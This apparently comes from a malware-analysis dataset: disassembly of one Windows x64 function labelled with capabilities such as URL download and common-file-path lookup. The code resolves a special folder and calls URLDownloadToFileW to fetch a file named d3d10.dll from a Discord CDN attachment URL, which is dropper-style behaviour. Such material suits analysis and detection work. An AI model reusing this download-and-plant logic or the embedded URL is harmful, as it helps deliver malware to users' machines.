Function at 0x1400014c0
Capabilities:
Download url
Get common file path
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xe0
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov r9d, 1
xor r8d, r8d
lea r15, [0x1400066d0]
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x140001a38
xorps xmm0, xmm0
movups xmmword [rbp - 0x79], xmm0
xor r14d, r14d
mov qword [rbp - 0x69], r14
mov qword [rbp - 0x61], r14
mov rdi, 0xffffffffffffffff
mov rbx, rdi
inc rbx
cmp byte [r15 + rbx], r14b
jne 0x140001531
movabs r12, 0x7fffffffffffffff
cmp rbx, r12
ja 0x140001a77
mov esi, 0x16
movabs r13, 0x8000000000000000
mov qword [rbp - 0x61], 0xf
cmp rbx, 0x10
jae 0x140001587
mov qword [rbp - 0x69], rbx
mov r8, rbx
mov rdx, r15
lea rcx, [rbp - 0x79]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x79], r14b
jmp 0x140001618
mov rdi, rbx
or rdi, 0xf
cmp rdi, r12
jbe 0x1400015b5
mov rdi, r12
lea rax, [r13 + 0x27]
mov rcx, rax
call fcn.140002190
test rax, rax
je 0x1400015d8
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400015f1
cmp rdi, rsi
cmovb rdi, rsi
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x1400015df
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001a6b
jmp 0x14000159a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1400015ee
call fcn.140002190
mov rsi, rax
jmp 0x1400015f1
mov rsi, r14
mov qword [rbp - 0x79], rsi
mov qword [rbp - 0x69], rbx
mov qword [rbp - 0x61], rdi
mov r8, rbx
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], r14b
mov esi, 0x16
lea rdi, [rsi - 0x17]
lea rcx, [rbp - 0x79]
call fcn.140001b90
mov rdx, rax
lea rcx, [rbp + 7]
call fcn.140001c70
nop
mov rdx, qword [rbp - 0x61]
cmp rdx, 0x10
jb 0x14000166c
inc rdx
mov rcx, qword [rbp - 0x79]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001667
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001667
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400021cc
mov qword [rbp - 0x69], r14
mov qword [rbp - 0x61], 0xf
mov byte [rbp - 0x79], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x59], xmm0
mov qword [rbp - 0x49], r14
mov qword [rbp - 0x41], r14
lea r15, [0x1400068f0]
mov rbx, rdi
inc rbx
cmp byte [r15 + rbx], 0
jne 0x140001695
cmp rbx, r12
ja 0x140001a7d
mov qword [rbp - 0x41], 0xf
cmp rbx, 0x10
jae 0x1400016d3
mov qword [rbp - 0x49], rbx
mov r8, rbx
mov rdx, r15
lea rcx, [rbp - 0x59]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x59], 0
jmp 0x14000175c
mov rdi, rbx
or rdi, 0xf
cmp rdi, r12
jbe 0x140001701
mov rdi, r12
lea rax, [r13 + 0x27]
mov rcx, rax
call fcn.140002190
test rax, rax
je 0x140001725
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000173e
cmp rdi, 0x16
cmovb rdi, rsi
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14000172c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001a71
jmp 0x1400016e6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000173b
call fcn.140002190
mov rsi, rax
jmp 0x14000173e
mov rsi, r14
mov qword [rbp - 0x59], rsi
mov qword [rbp - 0x49], rbx
mov qword [rbp - 0x41], rdi
mov r8, rbx
mov rdx, r15
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
lea rcx, [rbp - 0x59]
call fcn.140001b90
mov rdx, rax
lea rcx, [rbp - 0x19]
call fcn.140001c70
nop
mov rdx, qword [rbp - 0x41]
cmp rdx, 0x10
jb 0x1400017b0
inc rdx
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400021cc
mov qword [rbp - 0x49], r14
mov qword [rbp - 0x41], 0xf
mov byte [rbp - 0x59], 0
lea rdx, [rbp - 0x19]
cmp qword [rbp - 1], 0x10
cmovae rdx, qword [rbp - 0x19]
mov rsi, qword [rbp - 9]
add rsi, rdx
lea rdi, [rbp - 0x19]
cmp qword [rbp - 1], 0x10
cmovae rdi, qword [rbp - 0x19]
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
cmp rdi, rsi
jne 0x140001806
mov qword [rbp - 0x29], r14
mov eax, 7
mov qword [rbp - 0x21], rax
mov word [rbp - 0x39], r14w
jmp 0x140001914
mov rax, rsi
sub rax, rdi
mov rdx, r14
mov qword [rbp - 0x29], rdx
mov ebx, 7
mov qword [rbp - 0x21], rbx
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140001a83
cmp rax, 8
jb 0x1400018d0
mov rbx, rax
or rbx, 7
cmp rbx, rcx
jbe 0x14000184a
mov rbx, rcx
jmp 0x140001856
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, r12
ja 0x140001a65
add rcx, rcx
cmp rcx, 0x1000
jb 0x1400018b0
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001a65
mov rcx, rax
call fcn.140002190
mov rcx, rax
test rax, rax
je 0x14000198e
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov rdx, qword [rbp - 0x29]
jmp 0x1400018c3
test rcx, rcx
je 0x1400018c0
call fcn.140002190
mov rdx, qword [rbp - 0x29]
jmp 0x1400018c3
mov rax, r14
mov qword [rbp - 0x39], rax
mov qword [rbp - 0x21], rbx
nop dword [rax + rax]
lea rcx, [rbp - 0x39]
cmp rbx, 8
cmovae rcx, qword [rbp - 0x39]
movsx eax, byte [rdi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp - 0x29]
inc rdx
mov qword [rbp - 0x29], rdx
inc rdi
cmp rdi, rsi
je 0x1400018fd
mov rbx, qword [rbp - 0x21]
jmp 0x1400018d0
lea rax, [rbp - 0x39]
cmp qword [rbp - 0x21], 8
cmovae rax, qword [rbp - 0x39]
mov word [rax + rdx*2], r14w
mov rax, qword [rbp - 0x21]
lea r8, [rbp - 0x39]
cmp rax, 8
cmovae r8, qword [rbp - 0x39]
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea rdx, str.https:__cdn.discordapp.com_attachments_1195546273898573824_1195939377658998855_d3d10.dll_ex65b5d057is65a35b57hm092598b1019ecb4fc5ebe39bde9673aa2dc883cabc7356cfdbd1d15c22810e6c
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test eax, eax
lea rdx, str.____DLL_DOWNLOADED_FROM_SERVER_n
jns 0x140001951
lea rdx, str._X__ERROR_WITH_DLL_DOWNLOAD_n
call fcn.140001d90
nop
mov rdx, qword [rbp - 0x21]
cmp rdx, 8
jb 0x14000199a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x39]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001995
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001995
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400021cc
mov qword [rbp - 0x29], r14
mov qword [rbp - 0x21], 7
mov word [rbp - 0x39], r14w
mov rdx, qword [rbp - 1]
cmp rdx, 0x10
jb 0x1400019e9
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019e4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400021cc
movdqa xmm0, xmmword [0x140004660]
movdqu xmmword [rbp - 9], xmm0
mov byte [rbp - 0x19], 0
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0x10
jb 0x140001a38
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a33
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a33
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400021cc
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140002170
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001100
nop
call fcn.140001100
nop
call fcn.140001100
nop
call fcn.1400011a0
nop
call fcn.1400011a0
nop
call fcn.1400011a0
int3